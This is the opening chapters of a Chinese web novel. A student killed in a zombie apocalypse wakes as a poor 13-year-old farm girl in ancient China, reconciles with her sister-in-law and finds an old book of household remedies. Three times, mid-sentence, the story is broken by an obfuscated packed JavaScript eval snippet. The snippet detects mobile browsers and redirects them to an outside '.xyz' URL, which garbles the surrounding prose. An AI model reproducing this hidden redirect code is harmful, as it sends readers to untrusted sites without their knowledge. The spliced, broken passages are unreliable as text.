《恰得农家几日闲》 1. 穿越异世 七月中旬,正值盛夏,夜里一场小雨过后,微凉的风从破旧的窗户里吹进来,半开的花格窗吱吱呀呀的响着,显得整个屋子越发萧瑟破败。 躺在床上的姑娘眉头微皱,缓缓睁开了眼睛。 嘶……头好疼,嘴里也干,霍婉用手费力地撑着身体,靠坐在床上。 环顾了下屋内的陈设,老旧的泥墙上有些发黑,应该是年份太久的缘故。木床的右侧有个极矮的桌子,桌子旁边的木头凳子也断了条腿儿,除此之外屋内便再也没有其他的家具了。她的身下是那种硬邦邦的木板床,床边的柜子上放着碗水,还是温的。摸了摸盖在身上的白底蓝花棉被,被子十分干净,虽然不大厚实但也堪堪保暖。最令霍婉惊讶的是床脚处放着一口上了锁的大箱子,与这个简陋贫困的房间格格不入,也不知道里面放着什么东西。 罢了,末世之中能有这样一座遮风避雨的小屋,已经是十分难得了。 霍婉舔了舔半干的唇,伸手端起那碗水,虔诚又小心的喝了一小口润润嗓子,然后把碗又放回桌子上。 很快,霍婉就发现她的情况似乎有些不太对劲。 一缕有些枯黄的长发顺着她的动作垂落下来,她穿着一身样式古朴的藕粉色布裙,头上还缠着布条,双手干燥但有些粗糙……这是一双孩子的手! 霍婉摊开小手看上面的交错的细纹,难道自己在做梦?她抬手使劲掐了一下自己,嘶……好疼啊! 不对!不对! 霍婉看着这双手,恍惚间一些片段在她脑海里快速闪过。 “她都昏迷一天了,天哥,超市外头那么多丧尸,咱们自己跑到车里都不容易,更何况带着个累赘!” “是啊!天哥,以后咱们到了京市第一基地,你想要什么女人没有?犯得着为了霍婉把咱们兄弟的命都搭上吗?” “天杰,霍婉身手实在太差,又没有异能,你忘了?上次为了保护她,你都差点让丧失给咬了,她这么弱,连自保的能力都没有,根本没办法在末世生存,你好好想想。” 林天杰摆摆手,看了一眼躺在地上脸色苍白但难掩秀美的姑娘,咬了咬牙,低声道:“没办法了!咱们先撤!” …… 最后的记忆虽然有些断断续续的,但霍婉也能猜到了自己的结局,她有些自嘲地扯了扯嘴角,没办法,她只是个普通的大二学生,所学的又是酿酒工程专业,家中虽小有资产,但世界变了,末世以强者为尊,钱都变成一堆废纸,还能指望社会秩序继续存在? 林天杰是被霍婉父亲从小资助长大的孩子,比霍婉大五岁,大学毕业后就进了霍家的公司,短短三年时间就成了霍婉父亲的得力助手。 就在霍婉刚过完十九岁生日的那周,全球爆发了一场严重的病毒。凡是感染了这个病毒的人开始进入昏迷并发起了高烧,高烧醒来后,有的人变成了丧尸见人就咬,而有的人则拥有了异能,最后剩下的部分则是没发烧没变异的普通人。 很不幸,霍婉的父母发烧醒来后都变成了丧尸,而在她家做客的林天杰醒来后则觉醒了火系异能。 他当机立断收拾了所有的食物和水,带着霍婉离开了她家里。 一转眼的功夫,末世已经到来了一个月,而林天杰也带着同学和朋友们组成了一支十几人的小队。 霍婉是小队里年纪最小的女生,林天杰看向她的眼神也越来越露骨,就像在看自己的所有物一般。原因无他,因为林天杰是小队里最强的人,而且他的异能已经到了二级,末世以强者为尊,加上霍婉是他带出来的,故而所有人都默认霍婉早晚都是林天杰的女人。 到了后来,霍婉跟着小队在搜寻超市的时候,一大批丧尸发现了小队,并开始攻击他们。恰巧就在这个时候,霍婉陷入了昏迷。 思及此处,霍婉叹了口气。她其实并不怪他们把她丢下,毕竟末世危机四伏,林天杰能把她从家里带出去已经够仁义了。她实在不敢想,要是继续在那个世界生存,她最后会变成什么样子。 霍婉转过头,直直的盯着桌子上的那碗清水,抿了抿唇,伸手把那碗水端到眼前,小口小口的喝着,开始消化脑海中多出来的陌生记忆。 等记忆梳理的差不多了,霍婉只觉得脑子涨涨的,不过总算安下了心。 这具身体的主人也叫霍婉,家里人都喊她二姐儿。二姐儿比她前世小六岁,今年十三岁。 二姐儿的记忆很简单,她从小在清河里长大,因村外有一条十分清澈的小河,清河村由此得名。清河村有百余户人家,算是个规模不小的村庄了。村庄三面环山,一面临水,整个村庄非常古朴偏僻。若是村里人家要把山货卖出去,是需要去县里赶集的,赶集需要翻过两座大山,交通并不太方便。 二姐儿母亲早逝,父亲在她八岁的时候也去了。之后家中的日子也过的越发艰难。 之前霍老爹还在世时是村里唯一的秀才老爷,识得不少字。他平日里靠着给县里的书斋抄书也能给家里赚些银子。后来他去了后,留给孩子们的只有一箱薄薄的书册,再无其他。 二姐儿上头还有一个哥哥,名叫霍荀。霍荀没什么天分,只认得一些简单的常用字。二姐儿比她哥哥倒是聪明多了,跟着霍老爹学了不少字。 那霍荀比二姐儿大九岁,十六岁那年经人介绍跟邻村的赵家大姑娘成了亲。 赵家大姑娘闺名唤玉秋,也是个苦命人。她四岁父亲早逝,母亲改嫁他人,她自然成了累赘,于是便被族中老爷们做主过继给了多年无子的赵炳胜两口子。 一开始赵炳胜和钱氏对她十分好,可过了不到一年,多年未孕的钱氏居然怀孕了,一朝分娩生下一个大胖小子,夫妇二人大喜,为儿子取名赵玉科。 这样一来,赵玉秋在赵家的日子就不那么好过了,家里的粗活累活都丢给她干。好不容易等赵玉秋到了十五岁,赵炳胜两口子就把赵玉秋嫁到了霍家,收了霍家足额的彩礼不说,嫁妆只给赵玉秋做了两床薄被子带过来——这也是二姐儿一直瞧不上她的原因。 霍家别的不说,至少霍老爹生前是个秀才,霍家兄妹也多少识得几个大字。总的来说这桩婚事赵家也算是高攀了。 婚后一年,赵玉秋给霍荀生了个儿子,叫霍修远。如今霍修远五岁,是个老实乖巧的孩子。 二姐儿就是个普通的农女,但她也有自己的小心思。在霍荀面前她表现的极为妥帖,一旦霍荀不在家中,二姐儿就原形毕露,既不帮家里干活也不搭理赵玉秋,连对自己的亲侄儿霍修远也是淡淡的。 赵玉秋知道小姑子不太好相处,但她也没有为难过二姐儿,她心地善良,十分能干,与霍荀的感情也极好,二姐儿一直觉得是赵玉秋抢走了自己的哥哥,所以才一直如此行事。 二姐儿记忆里的生活平淡又乏味,直到她十一岁这年,村里搬来一户姓周的人家。 周家家境瞧着不差,家中有一儿一女,名叫周文轩和周文雨。他们看着就跟村里的孩子不一样,举手投足都斯斯文文的。慢慢的,由于二姐儿会读书识字,很快就与周文轩和周文雨混熟了,三人经常在一起玩闹。 周文轩虽然个子矮了些,但胜在容貌清秀,面对周文轩的日复一日的温柔笑容,渐渐地,二姐儿的一颗芳心就系在了周文轩身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893695|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周家老爷也是个秀才,所以他对周文轩期望极高,二姐儿也知道周文轩以后是要考举人老爷的。后来,在得到周文轩的私下承诺后,二姐儿忍不住开始幻想待周文轩考上举人老爷后,她作为清河村里独一份的举人娘子,该是何等体面。 到了后来,二姐儿开始默许周文轩拉她的手,不过更进一步却是不许,不管周文轩如何磨她,只要稍显过分的请求她从没应过。 慢慢的,周文轩对二姐儿淡了下来,平日里二姐儿去找他也避而不见,连周文雨也开始疏远二姐儿。二姐儿私下里哭过几回后,她决定约周文轩出来好好聊聊。可在去周家的小路上,意外发现周文轩正跟里正家的小女儿孙蓉抱在一起,周文轩把孙蓉抵在树干上,他的脸凑近她,二人忘我地亲在了一起。 二姐儿的脸唰的就白了,她猛地转过身往来时的路跑去。她脑子一片混沌,也没注意脚下,结果一脚踩空,踉跄了几步后整个人失去平衡,从山坡上滚了下去。 …… 霍婉有些可怜这个小姑娘,她不过是个普通姑娘,虽然有点小心思但也从没对人使过坏。这回是因为撞破了情郎的背叛才神思恍惚导致丢了命。希望她下辈子投个好人家,能平平安安的度完一生。 而她来到这个陌生的地方,总要继续生活下去。末世的世界,父母俱亡,还有什么值得她怀念和留恋的呢? 二姐儿的记忆少得可怜,她甚至不知道现在是什么朝代,连皇帝是谁人做也不清楚。唯一能确定的就是她家里除了兄长,长嫂,还有小侄儿霍修远,旁的亲戚记忆中几乎没有。 霍婉掀开白底蓝花的棉被起身下了床,身上穿着的藕粉色布裙颇为干净,裙子下摆打了几个同色的补丁。二姐儿手艺极好,在补丁上还绣了几朵非常漂亮的小花。床沿下摆着一双编织的草鞋,霍婉试了试,还别说,草鞋穿起来还挺舒服的。 霍婉看着屋内的陈设叹了口气,罢了,既来之则安之吧!她先是把床上的被子叠好,然后把床侧的柜子打开,想着整理整理二姐儿的物件。 打开木床上的柜子后霍婉才发现柜子里面空荡荡的,只有左侧放着几件叠好的旧衣服,而衣服下面则放着一个巴掌大小的木盒,像是装首饰的盒子,除此之外别无他物。 能被主人藏到衣服下面且盒面上有长期摩挲的痕迹,想必是二姐儿极看中的物件了。霍婉伸手把盒子从柜子里拿了出来。 木盒并没有上锁,里面放着一朵绢花和一根木簪。翻了下二姐儿的记忆,原来这根木簪是二人刚在一起时周文轩亲手为她雕刻的;而那朵绢花也是她生辰那天周文轩约她出来时悄悄塞给她的。 霍婉长叹了口气,轻巧的把木盒盖住,依照二姐儿放置的地方把盒子放好。毕竟那是二姐儿以往的心爱之物,为了尊重她霍婉是不会胡乱动用这些东西的。 床尾放着的大箱子上了锁,霍婉没发现开锁的钥匙,只得作罢。 等把房间都熟悉了一遍,霍婉突然想起来她好像还不知道二姐儿长什么样子呢!她走到窗台那里拿起一柄陈旧的铜镜,只见镜中映出一张有些模糊的容颜:清澈明亮的眼睛,微微翘起的鼻头,嘴上还有些干皮,脸蛋苍白瘦弱,头发也枯黄枯黄的……跟她小时候居然七八分像!而且两人的双眉中间都有一颗红色的小痣! 霍婉皱了皱眉,镜中的女孩对着她皱了皱眉。霍婉微微一笑,镜中的女孩也对着她笑。 没有什么比原身跟自己长得像更加舒心的事情了。毕竟自己那张脸前世看了十九年,现在自己代入起来也少了许多陌生感,感觉这就是小时候的自己。 霍婉总算松了一口气。 2. 山村生活 甩了甩头,把末世那段糟糕的记忆甩出脑海,霍婉打开门,打量着这个家里的生活环境。 入目是的三间泥坯房,房顶上铺着厚厚的稻草。霍婉住在西屋,西屋的右侧还有间小耳房,门半开着,内里是低矮的灶台和码放整齐的木柴,应该是这个家里的厨房了。 东屋是霍荀和赵玉秋的屋子,他们的儿子霍修远现在才五岁,肯定是跟父母住一起的。东屋左侧用栅栏圈起一块鸡窝,里面共有两只老母鸡。鸡窝旁边还有开垦出来的菜地,种了一些黄瓜和她从没见过的蔬菜。 令霍婉意外的是厨房旁边还种了一棵很大的枣树,上面还挂着圆圆的青枣。看这个架势估计再过半个多月就能有枣子吃了。 枣树下是一口吃水用的水井。院子则跟屋子一样也是用泥墙围住的,有的地方好像随时会塌下来。稍显破旧的木门靠在泥墙一侧,院门开着,好像主人刚刚出去的样子。 实在是有些寒酸。 霍婉走到院子外面,远远望去,村中的景致非常清新。目光所及之处是成片的耕地,整齐的田垄把田地间隔开,耕地里种着农作物,具体是哪种霍婉也看不清楚。耕地远处是几座连绵的高山,而距离霍家很近的地方有一条长长的小河,小河几乎把村外贯穿了去,像是从山里流淌出来的一般。 霍家住在村子西头,周围只有零星几户人家,且相隔也不近。家门前一条平整的小土路一直通向村子里,还有一条小路直通河边,像是去河边的小路。 沿着通向村子的土路走了几步,才发现他们家就是在村子的边缘地带,村子中心的人家房子都是紧紧挨着的。 回到霍家院子前,院墙外还种着两簇不知名的浅紫色花儿,周围也是一片青翠的景色,一大片的草地花海沿着小河勃勃生长,真是别有一番趣味!霍婉深吸了一口气,伸开双臂,像是要把大自然的景致拥入怀中。 “二姐儿,你怎的起来了?有没有哪儿不舒服?”旁边响起一道爽利的女声。 霍婉睁开眼,只见两步外站着一位年轻的妇人,她穿着一身暗灰色长裙,约莫二十出头的年纪,梳着妇人的发髻,应该是常年劳作的缘故,她的皮肤微微发黑,不过五官倒是生的秀丽,她左手臂弯处挎着个木篮子,右手牵着一个四五岁的小男孩儿。 这应该就是二姐儿的嫂嫂赵玉秋了。 那小男孩儿见霍婉望了过来,忙往赵玉秋的身后躲了躲。 “嫂嫂,你回来了。今个儿我一醒来觉得身子大好了,就想着出来透透气。”霍婉收回看着霍修远的目光,对着赵玉秋道。 赵玉秋点了点头,道:“你也别在院门口吹风了,你病这几天也该好好休养一番,一会儿你大哥该家来吃饭了,我先去厨房做点饭。” 霍婉忙点点头,跟着赵玉秋进了院子。 “嫂嫂,我跟你一起学做饭吧!”霍婉斟酌了一下往日二姐儿说话的语气,对着赵玉秋开口道。 赵玉秋有些奇怪的看了自己的小姑子一眼,现在霍荀也不在家,她这是唱的哪一出?赵玉秋先是麻利地从厨房的柜子里盛了半碗麦仁,又添了一把小米开始熬粥。等把米下到锅里后,又把早上包好的野菜窝头放到蒸屉上,这才对着霍婉道:“二姐儿,你身子如今还虚弱着,家里的活计不用你操心,你就去屋里再歇一觉,到时候饭做得了嫂嫂再叫你。”说着又从瓦罐里往外夹了些酱黄瓜和咸菜放到堂屋的旧饭桌上,见霍婉还站在厨房里,又嘱咐了句:“别呆着了,快回屋歇着吧。”说罢就开始从水缸里往外舀水,把竹篮里的野菜放木盆里开始清洗 。 霍婉没办法,只能回了屋。过了大概两刻钟,她好像听到了一道男声,她打开门走出房间,果不其然,是霍荀刚把锄头放在地方,正在院子里跟赵玉秋说话。 “二姐儿,今天哥哥从河里逮着条小鱼,待会让你嫂嫂给你炖点汤喝。今儿可觉得好些了吗?头还疼不疼?” 霍婉简单的打量了霍荀一眼,他也才二十出头的样子,身材挺拔,一身灰色短打,头上用褐色布巾梳了个髻。皮肤是健康的淡黄色,样貌也十分周正,一瞧就是个憨厚朴实的农家汉子。 听到霍荀在跟她说话,霍婉微微笑了笑:“哥哥,我今天头不怎么疼了,现下觉得身子已经大好了。” 对于这个比自己小九岁的妹妹,霍荀几乎是把她当做自己的女儿来疼爱。在他眼里霍婉是个听话懂事的好姑娘,幸亏这次受伤没什么大碍,若是妹妹真是有个三长两短,自己百年以后有何颜面去见早去的阿娘和阿爹? 一旁的赵玉秋像是早就习惯了丈夫对小姑子的偏爱,她也在一旁笑道:“那敢情好,嫂嫂这就去收拾收拾这条鱼,晚上给二姐儿好好补补身子。” 霍荀关心了霍婉两句,就从厨房打了一盆水回了东屋,看那架势应该是要擦洗一番。 过了约莫一刻钟,霍婉就听到赵玉秋喊他们吃饭了。 赵玉秋给每个人都盛了一大碗粥,除了霍荀要干农活吃的稠一些,剩下的米大部分都在霍婉碗里,而那满满一碗鱼汤也摆在霍婉座位前面。 一家人围着餐桌坐好,霍修远喝了两口粥,看了看霍婉座位前的鱼汤,拉了拉赵玉秋的袖子,小声道:“娘,远儿也要喝鱼汤。” 赵玉秋一愣,张了张嘴,侧头看了霍荀一眼。 霍荀见状摸了摸霍修远的头,拿了个汤勺给霍修远舀了一勺,边喂边道:“远哥儿乖,姑姑病还没好,需要喝鱼汤补补身子。等姑姑身体好了,爹再去河里给你抓鱼,让远哥儿喝个够,好不好?” 赵玉秋低头喝了几大口稀饭,眼圈也微微红了。 自己的男人太偏疼小姑子了,家里穷,要是有口好的,霍荀首先想到的就是小姑子。平时霍婉身体好的时候便是这样,自己原先还争上几句,可每次夫妻二人都闹的有些不愉快。长此以往,她也就懒得说了,只是可怜了自己的远哥儿。 霍婉洗好手上桌,自然的把面前的鱼汤往桌子中间推了推,轻声道:“哥哥,我身子已经大好了,这么多汤我也喝不下,你跟嫂嫂还有远哥儿一道喝吧。”说着喝了一大口粥,又笑道:“我今天才醒,就吃点清淡的就行了。” 霍荀摆了摆手:“你身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893696|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子还没好,更是要进补的时候。听话。”说着把那碗鱼汤往霍婉粥碗旁一推,道:“你快些喝了,待会凉了就不好喝了。” 霍婉没办法,只好用勺子舀了两勺喝了,然后就打了个嗝。原因无他,在末世经历了一个多月,她从没喝过这么新鲜的鱼汤,一时间没调整过来喝的太急了。 见三人都在看着自己,霍婉脸都红了,“哥哥嫂嫂,我实在是吃不下了,你们喝吧。” 霍荀又劝了几句,见霍婉一眼都没看那鱼汤,只仔仔细细的吃着碗里的粥,以为她刚醒来没什么胃口,便把那碗鱼汤端到霍修远面前,又拿了个稍小的碗给赵玉秋也盛了半碗。 一旁的赵玉秋惊奇又隐晦的看了霍婉一眼,往日里有什么好吃的好喝的这小姑子第一个上,如今竟然舍得把到嘴儿的东西分出来……虽然弄不明白她的用意,但这也不是什么坏事,至少远哥儿也能多喝几口了。这么想着,她脸上也露出了一点笑容。 一家人用完饭后,天还大亮着。霍荀拿了把斧头坐在院子里劈柴,而赵玉秋收拾好碗筷后,端着木盆从厨房里走了出来。 木盆里放着一大盆绿叶菜,走近一看原来是菠菜,不过在这个时代菠菜还不叫菠菜,叫绿棱菜。霍婉见赵玉秋搬着木凳坐在院子里,她也走过去,笑着说道:“嫂嫂,我也病了有几天了,现在觉得身子也好多了,让我帮你一块摘菜吧!” 赵玉秋犹豫的看了一眼霍婉,不知道小姑子又在跟她玩什么把戏。不过她还是推了推霍婉要伸过来的手,只笑道:“二姐儿,你还是歇着去吧。” 霍荀见霍婉的精神头不错,便对着赵玉秋道:“秋娘,我瞧着二姐儿有些精神了,左右摘菜也不累人,给她拿个板凳跟你一道摘吧!如今二姐儿也是个大姑娘了,你这当嫂嫂的老惯着她也不好。” 赵玉秋见自家男人都发话了,便把坐着的木凳子塞到霍婉屁股下面:“二姐儿,你坐着摘吧,嫂嫂再去拿个凳子。”说着走到窗台下面又拿了个木凳子,坐到霍婉对面开始摘菜。 看着赵玉秋一脸温和的样子,想必也不难相处。 “嫂嫂,如今我也十三岁了,家中里外都是嫂嫂在操持,平日里也不得闲。我想着若是嫂嫂得了空,便教教我做饭吧!日后你跟大哥下田家来的晚,我好歹也能做出顿像样的饭来,至少能让哥哥嫂嫂吃个现成饭,行吗?”霍婉斟酌了一番后开了口,毕竟自己跟之前的二姐儿性格不一样,只要一点点的做出改变,想必霍家人会慢慢适应的。 赵玉秋诧异又欣慰的看了霍婉一眼,她觉得这个小姑醒了之后好像懂事了许多,也知道体谅哥嫂的辛苦了,当然也不排除霍荀在院子里她刻意卖好的原因。赵玉秋细细看了一眼霍婉,她的眼里只有诚恳和善意,哪怕此刻霍荀进了屋子,霍婉以前那种轻视她的目光倒是不见了。 赵玉秋点点头,笑道:“二姐儿想学做饭啊,那感情好。明日嫂嫂左右也没什么事儿,我做饭的时候你便在一旁看着,或者给我打打下手,嫂嫂相信你很快就能学会了。” 见霍婉笑着应了声,赵玉秋脸上的笑容也深了些。 3. 改观? 次日,天刚蒙蒙亮,霍婉就早早起身了。在末世过惯了苦日子的她,毫不意外的失眠了。周围都是陌生的环境,习惯了绷着一根弦浅眠的霍婉,真到了平静安全的地方,也还得一段时间的适应期。 她刚打开房门,便看到赵玉秋打开东屋的竹帘子,打了个哈欠走了出来。 赵玉秋见到霍婉也是一愣。往日里这个小姑子恨不得睡到辰时末(八点多),如今才卯初(五点多)便已经起身了。 “二姐儿怎的醒这么早?”赵玉秋压低声音道。 “我昨日不是说要跟嫂嫂一道学做饭么?左右这两天睡得饱,便早早起来想着帮嫂嫂打打下手。” 赵玉秋脸上露出笑容来,她率先进了厨房,从木柜中取出半碗小米来,揭开锅舀了三瓢水进去,道:“二姐儿,你把昨天摘的菜拿过来,就在堂屋的饭桌上放着。” 霍婉应了一声,进了堂屋把昨天的绿棱菜(菠菜)端了出来,此时赵玉秋已经开始生火了。霍婉在前世的时候就会做饭,但对于烧火还是不太擅长,毕竟城市里使用的都是天然气或者电器。她见赵玉秋往灶里放了几根柴,便上前道:“嫂嫂,让我试试吧。” 赵玉秋闻言起身把座位让给她,笑着道:“火不用太大,不用一股脑把柴放进去,你瞧着灶里的烧的差不多了再添柴,等把米下进去再烧旺点也不迟。” 农家的饭食十分简单甚至粗陋,但对于经历过末世世界的霍婉来说,能有口热饭吃那是再奢侈不过的事情了。锅里的水刚一烧开,赵玉秋便把小米下到锅里,然后把另一侧锅子上的蒸屉放到煮粥的锅上,蒸屉里放着的是昨日剩下的粗粮野菜窝头。 赵玉秋把粥煮上后,便站在一旁指点霍婉烧火的诀窍。很快,霍婉就掌握了烧火的节奏,把火烧的旺旺的。 瞧着霍婉一脸开心的样子,赵玉秋也放松了不少,掀开另一个锅用筷子头沾了几滴油放进锅里,然后把昨天摘好的绿棱菜(菠菜)放进锅里煸炒,等炒的差不多了就放上盐端了出去。 过了约莫两刻钟,粥也煮好了。由于现在地里的活计不多,所以早上煮的粥米粒极少,几乎全是汤。 霍婉跟赵玉秋一起把早饭摆好后,她就去厨房舀了点水简单的洗漱一番,赵玉秋则是去东屋叫霍荀和霍修远起床吃饭。 村里的丫头们梳头没什么花样式,一般都是简单的垂髫髻和单螺,霍婉尝试把长发梳成任意一种样式可惜都没成功,最后只得将部分发丝于脑后挽出一个简单的发髻,然后用布条固定住,其余的头发披散在肩头。 很快,霍荀和霍修远就起来了。二人见到霍婉还惊奇了一番,不得不说这一番神韵下来,一瞧就是亲生父子。 见霍婉从厨房里走出来,霍荀的眉头微皱,朝着赵玉秋道:“秋娘,现在二姐儿的病才好了一些,你怎么也没拦着点她,这么早就起来去厨房忙活了,若是累得再病了怎么办?” 看着丈夫一脸不赞同又欲言又止的样子,赵玉秋动了动唇,没有说话,脸上的笑容也淡了些。她看了霍婉的背影一眼,只沉默着去厨房里端饭。 霍婉去厨房拿出筷子摆好,出来的时候发现哥哥嫂嫂中间的气氛似乎有些不对。 大哥在一边皱着眉,嫂嫂脸上连个笑模样也无。看着霍修远乖巧的呆在一边,霍婉走上前,笑嘻嘻地挽住赵玉秋的手,感受到赵玉秋稍微有些抗拒,但霍婉的脸皮不是一般的厚,拽着赵玉秋坐在矮凳子上,对着霍荀笑道:“哥哥,我这几日都快睡糊涂了,这不今天醒的早了些,才磨着嫂嫂教我做饭。其实我也没做得什么,都是嫂嫂在做,我就在旁边打打下手,嫂嫂生怕我累着,一个劲地让我歇着,这不一顿饭下来,就帮着嫂嫂端了两碗粥。今早上嫂嫂忙里忙外累了半天了,哥哥你干嘛板着个脸啊。” 坐在餐桌前的赵玉秋一愣,像是没想到二姐儿居然在霍荀面前为自己说话,且句句熨帖。这跟之前的小姑子简直算得上是判若两人了。 不过赵玉秋十分欢喜霍婉的这种改变,她觉得自己这么些年嫁过来的努力总算没有白费,二姐儿如今也知道心疼她了。 霍婉感觉到赵玉秋的手松了松,赶忙跑到霍荀旁边推着他往矮桌走:“哥哥快来尝尝,我光闻着味儿都觉得饱了大半呢!” 一旁的霍荀一愣,继而脸上露出了不好意思的笑容,觉得自己刚才对秋娘的态度着实有些不妥,他抬头见霍婉坐在对面笑吟吟的喝粥,而霍修远也一脸迷糊的抓着窝头吃,他的手悄悄从桌子底下伸过去,在赵玉秋的手上轻轻拍了拍,亲手给她盛了碗清粥,见赵玉秋有了点笑模样,又从蒸屉里拿了个窝头放到了赵玉秋的碗里。 赵玉秋的脸色微微红了,心里的那点不快也散干净了。见霍婉和儿子都没注意他们这边,她的小手也微微用力,回握住霍荀的大手。 霍婉见状暗忖:“哥哥什么都好,就是太紧张自己了,也怪这副身子实在太弱,以后定要好好将养身子,嫂嫂倒是个爽利人,看来以后自己跟嫂嫂学习的地方有很多呢!” 在霍婉的活跃气氛下,一顿饭很快就用完了。霍婉跟着赵玉秋把碗筷收拾好,然后搬了个板凳坐在了院子里的枣树下。 今日天晴,无风。阳光透过枣树在地上留下了明灭的光影,霍荀道:“天气正好,秋娘,二姐儿,咱把爹的书拿出来晒一晒吧,前些天刚下了雨,可不能让它们受潮了。” 书? 说干就干,霍荀起身道:“二姐儿,帮哥哥开门,哥哥去你屋里把箱子搬出来。” 霍婉想到了她床脚处放着一口上了锁的大箱子,原来里面装着的全是秀才爹的书。 一家人来到霍婉房间,这箱子许久未动,上面已经落了些许灰尘。霍荀把箱子搬到院中,赵玉秋则去他们屋里拿了钥匙出来。 霍荀接过钥匙,小心翼翼地打开箱子,陈旧的气息混着淡淡的墨香扑面而来。 书册在历朝历代都是极为珍贵的,当年霍秀才在附近几个村里那是一等一的体面人,若不是他为了考举人耗尽家资,霍家早就跻身清河村富户行列了。 当年家中略值些银子的东西被典 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893697|160001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当光了,能被留下的只有这一大箱完好的书册。 一本本泛黄的书册被霍荀轻轻取出,他识得的字不多,很少看爹留下的书,倒是二姐儿近两年会时常翻看,也不晓得她到底能认识多少字。 霍秀才的这箱藏书十分丰富,不光有三百千这种基础启蒙书,还有一整套的四书五经、集语、春秋二册、策论、法言之类的。令霍婉意外的是,最下面还有一些杂书,药理、建筑、机巧、游记等等,看来霍秀才所涉领域当真是十分全面了。 霍婉先小心的把三百千拿出来放到一旁,笑道:“哥哥,嫂嫂,这是以前我小时候爹带我学过的启蒙书,如今咱们远哥儿也大了,等得空了,我想教他读读书识识字,往后大了,总会有用处。” 霍荀闻言还没说什么,赵玉秋就先起身惊喜道:“二姐儿,果真可以吗?只是……会不会麻烦了你?” 霍婉笑道:“嫂嫂,咱们是一家人,远哥儿更是我的亲侄儿,说什么麻烦不麻烦的?我前些日子生病,嫂嫂忙前忙后的照顾我,难道嫂嫂觉得我麻烦了你么?” 赵玉秋连忙摆了摆手,表示自己绝对没有这个意思,她擦了擦眼角的泪,觉得二姐儿这次生了病,果真变了许多,不光对自己态度变得和善,还对着远哥儿也多了几分疼爱。 霍修远一听姑姑要教自己读书习字,立马高兴的蹦了起来。他之前偷偷央了姑姑好久,姑姑都没理他,这次姑姑竟提出来主动教他,他惊喜地跑到霍婉身边,有些羞涩的开了口:“远儿谢谢姑姑。” 霍婉笑着摸了摸他的头,小孩子是不记事的,但凡对他和善友好一些,他就很快忘记之前的姑姑对他是何等的冷淡。 等箱子中的书拿出了七七八八,霍婉发现箱子左侧最底下有一本非常厚的书,名为《闲杂要方》。她小心的把这本书拿出来,书的封皮虽然略有破损但书里的内容十分清晰,霍秀才应当是仔细修补过。 《闲杂要方》里的文字像是简化过的繁体字,又不像纯简体字那样方便,但是霍婉基本都能读懂。书里的内容从饮食起居、四时调养,到心理调适、生活良方等应有尽有,霍婉简单看了几个,越看眼神越亮,也从心底越发佩服古人的智慧。 比如书中有记载如何洗头发如何更柔顺的法子、如何制作女子保养方、如何护理手足、甚至连古代牙刷牙膏的制作里面都有详细说明。 这可真是捡到宝了! 霍婉高兴的把这本书举起来,对着霍荀道:“哥哥,这本书可以给我看吗?” 霍荀抬头看过来,他只识得闲、方二字,想来里面写着什么有意思的故事,他嘴角挂了一抹浅笑:“当然可以,这些书是爹留给咱们兄妹二人的,你若是喜欢就留在家里翻看,别弄坏了就行。” 赵玉秋有些羡慕的看着霍婉手里的书,若是她也能识字那该多好啊!不过往后远哥儿若能识字,没准能去县城里谋个体面生活……这么想着,她心里又松快了起来。 摊开的书册在阳光下静静地躺着,整个院子仿佛也染上了几丝淡淡的墨香。 4. 自己动手丰衣足食 第二天吃完早饭,霍婉就带着霍修远来到了家门口不远处的柳树下,采了一些柳枝,然后从柳枝中间用刀切成现代牙刷长短,两头都修整成平直状态,按照《闲杂要方》里的方法把柳枝泡进温水里,然后又从厨房里拿了些粗盐碾碎,放进温水里简单的给柳枝消个毒。 霍修远十分开心,跟着姑姑一起玩的不亦乐乎。赵玉秋看着姑侄二人一起玩,满脸笑容也没有去打扰他们。 感觉泡的差不多了,霍婉取出一根柳枝用清水冲洗干净,把刷头那里的柳树皮削掉,再次清洗后把柳枝去皮的这头放进嘴里咀嚼着咬开。 霍婉费力的咀嚼着柳枝,霍修远也依样画葫芦把处理好的柳枝放进嘴里咬着。 赵玉秋端着糙米出来的时候吓了一跳,忙放下木盆快步走过来:“二姐儿,远哥儿,你们俩吃树枝做什么?” 霍婉深色从容地把柳枝从嘴里拿出来,柳枝里面的杨柳纤维已经出来了,好像细小的木梳齿,她笑着说道:“嫂嫂,这是我从那本书里学到的法子,每天用这柳枝子刷刷牙齿,能保持口齿光洁满嘴清香呢!” 赵玉秋一听她是从书里看的,便没说什么,只是叮嘱道:“既如此那也要小心着些,仔细这树枝扎了嘴,到时候也遭罪。” 霍婉递给霍修远的柳枝是嫩一些的,很快,霍修远也做好了自己的“牙刷”。他骄傲的拿出柳条,语调清脆的说:“姑姑,远儿也咬好了。” 